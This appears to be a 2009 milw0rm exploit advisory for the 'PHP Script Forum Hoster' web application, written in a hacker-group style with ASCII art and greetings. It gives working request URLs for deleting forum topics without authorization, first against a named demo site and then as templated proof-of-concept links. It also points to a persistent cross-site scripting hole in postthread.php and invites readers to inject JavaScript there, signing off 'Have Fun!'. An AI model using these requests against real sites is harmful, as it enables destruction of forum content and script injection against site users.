PHP Script Forum Hoster (Topic Delete/XSS) Multiple Vulnerabilities_______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)  
\  \_/   \>    < |     \   
 \_____  /__/\_ \\___  /   
       \/      \/    \/    
                       #ruling the web since 9/2008


`Word is born 
            Fight the war 
                         fuck the norm!`


[=]    `PHP Script Forum Hoster` Multiple vulnerabilities

       Vendor   : http://www.shop-020.de
       Download : http://www.shop-020.de/phpscriptat-p12h4s5-PHP-Forum-Hoster-Por.html
       Author   : int_main();
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs,Cod1K

[================================================================================] 

1.) unauthorized topic deletion

Get the Forum and Topic ID ( `topic` `forum` )


http://www.city-demo.at/forum//topic.php?topic=12&amp;forum=6

Unauthorized deletion:

http://www.city-demo.at/forum//manageforum.php?forum=6&amp;&amp;step=6&amp;delt=12

POC:

http://[site]/forum//topic.php?topic=[topicid]&amp;forum=[forumid]
http://[site]/forum//manageforum.php?forum=[forumid]&amp;&amp;step=[forumid]&amp;delt=[topicid]

[================================================================================] 


2.) persistent XSS vulnerabilitys (some fun with HTML :P)

http://www.city-demo.at/forum/postthread.php

http://[site]/forum//postthread.php

Write some Javascript/HTML Code into the $_POST sections.


Have Fun!

# milw0rm.com [2009-08-06]